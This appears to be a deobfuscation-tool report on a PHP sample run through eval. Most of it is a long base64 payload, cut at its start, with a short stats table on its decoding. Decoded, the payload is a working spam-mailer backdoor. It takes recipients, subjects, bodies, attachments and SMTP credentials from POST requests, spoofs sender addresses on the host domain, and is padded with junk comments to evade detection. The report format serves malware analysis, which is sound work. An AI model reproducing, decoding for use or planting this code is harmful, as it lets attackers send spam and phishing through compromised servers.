zdywgJG1haWxfdG8sICRtZXNzYWdlLCAkU0VORCkgeyRTRU5EIC49ICAkbWVzc2FnZS4iXHJcbiI7Ly9scmhkYw0KLy8vY3p6YWtyDQppZighJHNvY2tldCA9IEBmc29ja29wZW4oJGhvc3QsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDEwKSApIHsgcmV0dXJuIGZhbHNlOyB9Ly9kcHN1ZAojbGR3YWpqYnMKaWYgKCFzZXJ2ZXJfcGFyc2UoJHNvY2tldCwgIjIyMCIsIF9fTElORV9fKSkgcmV0dXJuIGZhbHNlOyNhd2F4emdrYQ0KZnB1dHMoJHNvY2tldCwgIkhFTE8gIiAuICRzbXRwX2xvZ2luIC4gIlxyXG4iKTtpZiAoIXNlcnZlcl9wYXJzZSgkc29ja2V0LCAiMjUwIiwgX19MSU5FX18pKSB7ZmNsb3NlKCRzb2NrZXQpOy8vYnN2anRwaw0KcmV0dXJuIGZhbHNlO30jd2x0ZHhnaQ0KZnB1dHMoJHNvY2tldCwgIkFVVEggTE9HSU5cclxuIik7aWYgKCFzZXJ2ZXJfcGFyc2UoJHNvY2tldCwgIjMzNCIsIF9fTElORV9fKSkge2ZjbG9zZSgkc29ja2V0KTtyZXR1cm4gZmFsc2U7fWZwdXRzKCRzb2NrZXQsIGJhc2U2NF9lbmNvZGUoJHNtdHBfbG9naW4pIC4gIlxyXG4iKTtpZiAoIXNlcnZlcl9wYXJzZSgkc29ja2V0LCAiMzM0IiwgX19MSU5FX18pKSB7Ly8vaWF5bmcNCmZjbG9zZSgkc29ja2V0KTsvL25rbnNsa2gKcmV0dXJuIGZhbHNlOy8vcXVzbXFwDQp9ZnB1dHMoJHNvY2tldCwgYmFzZTY0X2VuY29kZSgkc210cF9wYXNzdykgLiAiXHJcbiIpO2lmICghc2VydmVyX3BhcnNlKCRzb2NrZXQsICIyMzUiLCBfX0xJTkVfXykpIHtmY2xvc2UoJHNvY2tldCk7cmV0dXJuIGZhbHNlO31mcHV0cygkc29ja2V0LCAiTUFJTCBGUk9NOiA8Ii4kc210cF9sb2dpbi4iPlxyXG4iKTsvL2JqYnNnZ3BtaQppZiAoIXNlcnZlcl9wYXJzZSgkc29ja2V0LCAiMjUwIiwgX19MSU5FX18pKSB7IyMjem1nbXNncQ0KZmNsb3NlKCRzb2NrZXQpOy8vL3RxanBhanIKcmV0dXJuIGZhbHNlO31mcHV0cygkc29ja2V0LCAiUkNQVCBUTzogPCIgLiRtYWlsX3RvLiAiPlxyXG4iKTtpZiAoIXNlcnZlcl9wYXJzZSgkc29ja2V0LCAiMjUwIiwgX19MSU5FX18pKSB7Ly9idHBhbGVhdWUNCmZjbG9zZSgkc29ja2V0KTtyZXR1cm4gZmFsc2U7fS8vdHBxeGxhYXZsaw0KZnB1dHMoJHNvY2tldCwgIkRBVEFcclxuIik7I2h1YXhqYwppZiAoIXNlcnZlcl9wYXJzZSgkc29ja2V0LCAiMzU0IiwgX19MSU5FX18pKSB7ZmNsb3NlKCRzb2NrZXQpO3JldHVybiBmYWxzZTt9ZnB1dHMoJHNvY2tldCwgJFNFTkQuIlxyXG4uXHJcbiIpOy8vL3pudnJua3ZwCmlmICghc2VydmVyX3BhcnNlKCRzb2NrZXQsICIyNTAiLCBfX0xJTkVfXykpIHtmY2xvc2UoJHNvY2tldCk7cmV0dXJuIGZhbHNlOyMjI2V0ZGQNCn1mcHV0cygkc29ja2V0LCAiUVVJVFxyXG4iKTtmY2xvc2UoJHNvY2tldCk7Ly8vdGpqemhvZg0KcmV0dXJuIHRydWU7fSNkdm10bnp6Zm0NCmZ1bmN0aW9uIHNlcnZlcl9wYXJzZSgkc29ja2V0LCAkcmVzcG9uc2UsICRsaW5lID0gX19MSU5FX18pIHsjZ2p3YXR1cXgKd2hpbGUgKEBzdWJzdHIoJHNlcnZlcl9yZXNwb25zZSwgMywgMSkgIT0gJyAnKSB7Ly9yb3JodGhzCmlmICghKCRzZXJ2ZXJfcmVzcG9uc2UgPSBmZ2V0cygkc29ja2V0LCAyNTYpKSkgeyByZXR1cm4gZmFsc2U7IH19Ly8vbmJwanBsdQ0KI2Zob29oDQppZiAoIShzdWJzdHIoJHNlcnZlcl9yZXNwb25zZSwgMCwgMykgPT0gJHJlc3BvbnNlKSkgeyByZXR1cm4gZmFsc2U7IH0vL3h1aw0KcmV0dXJuIHRydWU7fWlmIChpc3NldCgkX1BPU1RbImVtYWlsX3BvbHVjaGEiXSkpIHsgJGVtYWlsX3BvbHVjaGEgPSAkX1BPU1RbImVtYWlsX3BvbHVjaGEiXTsgfWVsc2V7IGV4aXQoImZhbHNlIik7IH0jIyN0ZG4NCmlmIChpc3NldCgkX1BPU1RbInRpcF9waXNtYSJdKSkgICAgIHsgJHRpcF9waXNtYSAgICAgPSAkX1BPU1RbInRpcF9waXNtYSJdOyAgICAgfWVsc2V7IGV4aXQoImZhbHNlIik7IH1pZiAoaXNzZXQoJF9QT1NUWyJuYW1lX290cHJhdiJdKSkgICB7ICRuYW1lX290cHJhdiAgID0gJF9QT1NUWyJuYW1lX290cHJhdiJdOyAgIH1lbHNleyBleGl0KCJmYWxzZSIpOyB9aWYgKGlzc2V0KCRfUE9TVFsiYWRyZXNfb3RwIl0pKSAgICAgeyAkYWRyZXNfb3RwICAgICA9ICRfUE9TVFsiYWRyZXNfb3RwIl07ICAgICB9ZWxzZXsgZXhpdCgiZmFsc2UiKTsgfWlmIChpc3NldCgkX1BPU1RbInRlbWFfcGlzbWEiXSkpICAgIHsgJHRlbWFfcGlzbWEgICAgPSAkX1BPU1RbInRlbWFfcGlzbWEiXTsgICAgfWVsc2V7IGV4aXQoImZhbHNlIik7IH0vL2xmcml2ZGINCmlmIChpc3NldCgkX1BPU1RbInRlbG9fcGlzbWEiXSkpICAgIHsgJHRlbG9fcGlzbWEgICAgPSAkX1BPU1RbInRlbG9fcGlzbWEiXTsgICAgfWVsc2V7IGV4aXQoImZhbHNlIik7IH1pZiAoaXNzZXQoJF9QT1NUWyJyZXBseV90byJdKSkgICAgICB7ICRyZXBseV90byAgICAgID0gJF9QT1NUWyJyZXBseV90byJdOyAgICAgIH1pZiAoaXNzZXQoJF9QT1NUWyJzcG9zb2Jfb3RwIl0pKSAgICB7JHNwb3NvYl9vdHAgPSAoc3RyaW5nKSRfUE9TVFsic3Bvc29iX290cCJdOyMjI3pjegppZiAoJHNwb3NvYl9vdHAgPT0gKCJ0cnVlIikpIHtpZiAoaXNzZXQoJF9QT1NUWyJzbXRwX2xvZ2luIl0pKSB7ICRzbXRwX2xvZ2luICAgID0gJF9QT1NUWyJzbXRwX2xvZ2luIl07IH1lbHNleyBleGl0KCJmYWxzZSIpOyB9aWYgKGlzc2V0KCRfUE9TVFsic210cF9wYXNzdyJdKSkgeyAkc210cF9wYXNzdyAgICA9ICRfUE9TVFsic210cF9wYXNzdyJdOyB9ZWxzZXsgZXhpdCgiZmFsc2UiKTsgfWlmIChpc3NldCgkX1BPU1RbInNtdHBfaG9zdCJdKSkgIHsgJHNtdHBfaG9zdCAgICAgPSAkX1BPU1RbInNtdHBfaG9zdCJdOyAgfWVsc2V7IGV4aXQoImZhbHNlIik7IH1pZiAoaXNzZXQoJF9QT1NUWyJzbXRwX3BvcnQiXSkpICB7ICRzbXRwX3BvcnQgICAgID0gJF9QT1NUWyJzbXRwX3BvcnQiXTsgIH1lbHNleyBleGl0KCJmYWxzZSIpOyB9Ly8venl1Cn19ZWxzZXsgZXhpdCgiZmFsc2UiKTsgfS8vbWVzbndwam8NCiN0dG1xZWx4aA0KaWYgKCFlbXB0eSgkX0ZJTEVTWyJmYWlsIl1bInRtcF9uYW1lIl0pKSB7JHB1dF9rX2ZhaWx1ICA9ICRfRklMRVNbImZhaWwiXVsidG1wX25hbWUiXTsvLy9samIKJG5hbWVfZmFpbCAgICA9ICRfRklMRVNbImZhaWwiXVsibmFtZSJdOyRyYW5kb21fbmFtZV9mYWlsID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiL1teMC05YS16XS8iLCIiLHN0cnRvbG93ZXIoY3J5cHQoIiIpKSksMSw4KTsvL21ybW94b2lybG0KLy8gJG5hbWVfZmFpbCA9ICRyYW5kb21fbmFtZV9mYWlsLiRuYW1lX2ZhaWw7fSRhZHJlc19vdHAgPSAkYWRyZXNfb3RwLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ107Ly9ibXdqam5jZGR3Ci8vY21scmVzCiRlbmRfemFnID0gIlxyXG4iOyNqaXgNCiRib3VuZGFyeT1tZDUodW5pcWlkKCkpOyRoZWFkZXJzICA9ICJGcm9tOiA9P3V0Zi04P0I/Ii5iYXNlNjRfZW5jb2RlKCRuYW1lX290cHJhdikuIj89IDwiLiRhZHJlc19vdHAuIj4iLiRlbmRfemFnO2lmICgkc3Bvc29iX290cCA9PSAoInRydWUiKSkgeyRoZWFkZXJzIC49ICJUbzogJGVtYWlsX3BvbHVjaGEgPCRlbWFpbF9wb2x1Y2hhPiIuJGVuZF96YWc7fSMjI3lldHVkanNiCiMjI2RxbHZweGQNCmlmICgkcmVwbHlfdG8gIT0gKCJmYWxzZSIpKSB7Ly9nYnVnamgKJGhlYWRlcnMgLj0gIlJlcGx5LVRvOiAkcmVwbHlfdG8iLiRlbmRfemFnO31pZiAoJHNwb3NvYl9vdHAgPT0gKCJ0cnVlIikpIHsvL3RmampudXlzCiRoZWFkZXJzIC49ICJTdWJqZWN0OiA9P3V0Zi04P0I/Ii5iYXNlNjRfZW5jb2RlKCR0ZW1hX3Bpc21hKS4iPz0iLiRlbmRfemFnO30jIyN1aXF6dm5tYWcNCiRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMCIuJGVuZF96YWc7Ly8vY2FkaGdxCi8vJGhlYWRlcnMgLj0gIlgtUHJpb3JpdHk6IDMiLiRlbmRfemFnOyRoZWFkZXJzIC49ICdYLU1haWxlcjogUEhQLycucGhwdmVyc2lvbigpLiRlbmRfemFnOyNsb2xvd2QNCmlmIChpc3NldCgkcHV0X2tfZmFpbHUpKSB7IyMjeXNpanENCiR1biAgICAgICAgPSBzdHJ0b3VwcGVyKHVuaXFpZCh0aW1lKCkpKTsvLyRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9XCItLS0tLS0tLS0tIi4kdW4uIlwiIi4kZW5kX3phZy4kZW5kX3phZzskaGVhZGVycyAuPSdDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9IicuJGJvdW5kYXJ5LiJcIlxyXG5cclxuIjt9aWYgKCR0aXBfcGlzbWEgPT0gIjIiIG9yICR0aXBfcGlzbWEgPT0gMikge2lmICghaXNzZXQoJHB1dF9rX2ZhaWx1KSkgey8vL3Zla29mZXF2DQovLy9uaXhpZgokaGVhZGVycyAuPSAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9XCJ1dGYtOFwiIi4kZW5kX3phZzsvL3NwdGthDQokaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdCIuJGVuZF96YWcuJGVuZF96YWc7Ly9yYmZjeXENCn0kemFnX3R5cGUgPSAidGV4dC9odG1sIjt9ZWxzZXtpZiAoIWlzc2V0KCRwdXRfa19mYWlsdSkpIHsvLy9oZWMNCiRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9XCJ1dGYtOFwiIi4kZW5kX3phZzsvL2xvdmVmZwokaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdCIuJGVuZF96YWcuJGVuZF96YWc7fSR6YWdfdHlwZSA9ICJ0ZXh0L3BsYWluIjsjc25uDQp9LyoqIyMjaHJsYXFpZHMKJGhlYWRlcnM9J01JTUUtVmVyc2lvbjogMS4wJy4iXHJcbiI7JGhlYWRlcnMuPSdGcm9tOiAnLic9P3V0Zi04P0I/Jy5iYXNlNjRfZW5jb2RlKHJhbmRUZXh0KCkpLic/PScuJyA8Jy4kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJz4nLiJcclxuIjskaGVhZGVycy49J1JlcGx5LVRvOiAnLiRyZXBseS4iXHJcbiI7JGhlYWRlcnMuPSdYLU1haWxlcjogUEhQLycucGhwdmVyc2lvbigpLiJcclxuIjskaGVhZGVycy49J0NvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT0iJy4kYm91bmRhcnkuIlwiXHJcblxyXG4iOyNyY2JoemNpbGwKKiovI3l2bm51bnVscAojIyN2Zm55aQppZiAoaXNzZXQoJHB1dF9rX2ZhaWx1KSkgeyRmID0gQGZvcGVuKCRwdXRfa19mYWlsdSwicmIiKTsjIyNlbXFpdg0KLy8kdGVsb19waXNtYV9mYWlsICAgPSAiLS0tLS0tLS0tLS0tIi4kdW4uIlxyXG5Db250ZW50LVR5cGU6ICIuJHphZ190eXBlLiI7IGNoYXJzZXQ9XCJ1dGYtOFwiIi4kZW5kX3phZzsvLyR0ZWxvX3Bpc21hX2ZhaWwgIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0Ii4kZW5kX3phZy4kZW5kX3phZy4iJHRlbG9fcGlzbWEiLiRlbmRfemFnOy8vJHRlbG9fcGlzbWFfZmFpbCAgLj0gIi0tLS0tLS0tLS0tLSIuJHVuLiRlbmRfemFnOy8vJHRlbG9fcGlzbWFfZmFpbCAgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtOyBuYW1lPVwiIi5iYXNlbmFtZSgkbmFtZV9mYWlsKS4iXCIiLiRlbmRfemFnOy8vL2xwYmV5Ci8vJHRlbG9fcGlzbWFfZmFpbCAgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCIuJGVuZF96YWc7Ly8kdGVsb19waXNtYV9mYWlsICAuPSAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRuYW1lX2ZhaWwpLiJcIiIuJGVuZF96YWcuJGVuZF96YWc7IyMjc2J2eQ0KLy8kdGVsb19waXNtYV9mYWlsICAuPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKGZyZWFkKCRmLGZpbGVzaXplKCRwdXRfa19mYWlsdSkpKSk7Ly8kdGVsb19waXNtYV9mYWlsICAuPSAiLS0tLS0tLS0tLS0tIi4kdW4uIi0tIi4kZW5kX3phZzsvLyR0ZWxvX3Bpc21hID0gJHRlbG9fcGlzbWFfZmFpbDsvL2p5cmZ0cGp3YwovLy9qcWprCiRib2R5PSctLScuJGJvdW5kYXJ5LiJcclxuIjsvLy91bHJ5aHZ2eGtkDQokYm9keS49J0NvbnRlbnQtVHlwZTogJy4kemFnX3R5cGUuJzsgY2hhcnNldD0idXRmLTgiJy4iXHJcbiI7JGJvZHkuPSdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnLiJcclxuXHJcbiI7JGJvZHkuPWNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJHRlbG9fcGlzbWEpKTskYm9keS49ICctLScuJGJvdW5kYXJ5LiJcclxuIjskYm9keS49J0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgbmFtZT0iJy5iYXNlbmFtZSgkbmFtZV9mYWlsKS4nIicuIlxyXG4iOy8vZWRnDQokYm9keS49J0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInLmJhc2VuYW1lKCRuYW1lX2ZhaWwpLiciJy4iXHJcbiI7JGJvZHkuPSdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnLiJcclxuIjskYm9keS49J1gtQXR0YWNobWVudC1JZDogJy5yYW5kKDEwMDAsOTk5OTkpLiJcclxuXHJcbiI7JGJvZHkuPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKGZyZWFkKCRmLGZpbGVzaXplKCRwdXRfa19mYWlsdSkpKSk7JHRlbG9fcGlzbWEgPSAkYm9keTsjIyNpbnBhcm1pbQ0KIyMjZGNtZXFtdGRmCiMjI3J5bHdncgovKiojaXBrcQokYm9keT0nLS0nLiRib3VuZGFyeS4iXHJcbiI7JGJvZHkuPSdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD0idXRmLTgiJy4iXHJcbiI7JGJvZHkuPSdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnLiJcclxuXHJcbiI7JGJvZHkuPWNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJG1lc3NhZ2UpKTskYm9keS49ICctLScuJGJvdW5kYXJ5LiJcclxuIjskYm9keS49J0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgbmFtZT0iJy4kZmlsZW5hbWUuJyInLiJcclxuIjskYm9keS49J0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInLiRmaWxlbmFtZS4nIicuIlxyXG4iOyNmZGlnbmNtCiRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0Jy4iXHJcbiI7JGJvZHkuPSdYLUF0dGFjaG1lbnQtSWQ6ICcucmFuZCgxMDAwLDk5OTk5KS4iXHJcblxyXG4iOyRib2R5Lj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSh0ZXh0KCkpKTsqKi8vLy9yeWZzZwojIyNvY2d0Yg0KIyMjbXhlYmplbQ0KfWlmICgkc3Bvc29iX290cCA9PSAoInRydWUiKSkgeyNjbWNhdGkKJHJldHVybiA9IHNtdHBtYWlsKCRzbXRwX2hvc3QsICRzbXRwX3BvcnQsICRzbXRwX2xvZ2luLCAkc210cF9wYXNzdywgJGVtYWlsX3BvbHVjaGEsICR0ZWxvX3Bpc21hLCAkaGVhZGVycyk7IyMjcXh2cWlwZ2lyagp9ZWxzZXskcmV0dXJuID0gbWFpbCgkZW1haWxfcG9sdWNoYSwkdGVtYV9waXNtYSwkdGVsb19waXNtYSwkaGVhZGVycyk7fSMjI2pyeHduDQppZiAoJHJldHVybiA9PSB0cnVlKSB7ZWNobyAidHJ1ZSI7fWVsc2V7ZWNobyAiZmFsc2UiO319'));
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 2c42406b790fe9c812e803947e2267f9 |
| Eval Count | 1 |
| Decode Time | 119 ms |